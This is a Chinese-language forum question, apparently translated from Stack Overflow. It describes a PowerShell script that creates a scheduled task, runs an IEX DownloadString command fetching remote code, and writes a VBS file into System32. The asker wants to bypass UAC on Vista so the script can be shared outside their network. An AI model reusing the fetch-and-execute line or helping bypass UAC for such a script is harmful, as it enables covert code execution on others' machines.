【发布时间】:2014-11-18 18:58:21
【问题描述】:
好的,我有一个执行以下操作的 PSH 脚本:
- 在 user/appdata/local 目录下创建一个文本文件
- 使用 schtasks 命令创建计划任务
- 运行 IEX (New-Object Net.WebClient).DownloadString('https:\BlahBlah.com') 命令
- 在system32文件夹下创建VBS文件
在 Windows 7 和 8 上,它运行良好。
在 Windows Vista 上,第 1、2 和 3 步有效,但第 4 步失败并出现未经授权的访问异常。我尝试对其进行修改,使其仅创建一个 txt 文件而不是 VBS(以查看问题是否是可执行文件),但我得到了同样的错误。
我敢肯定,这是 UAC 的事情。但我不知道如何绕过它。 PSH 脚本首先需要用户批准才能运行,并且除此之外进行所有其他更改都没有问题。
是否可以添加某种绕过命令来绕过 UAC?
这是我从 Powershell ISE 调试时得到的结果:
PS C:\Users\Caitlin> New-Item $env:SystemRoot\System32\Initialize.txt -type file -force
New-Item : Access to the path 'C:\Windows\System32\Initialize.txt' is denied.
At line:1 char:9
+ New-Item <<<< $env:SystemRoot\System32\Initialize.txt -type file -force
+ CategoryInfo : PermissionDenied: (C:\Windows\System32\Initialize.txt:String) [New-Item], UnauthorizedAccessException
+ FullyQualifiedErrorId : NewItemUnauthorizedAccessError,Microsoft.PowerShell.Commands.NewItemCommand
我希望它相对自动化,因为我将与我网络之外的其他人共享它。
我想简单的解决方案是在不同的目录下创建它,但我希望它的性能与在 Windows 7/8 上相同。
【问题讨论】: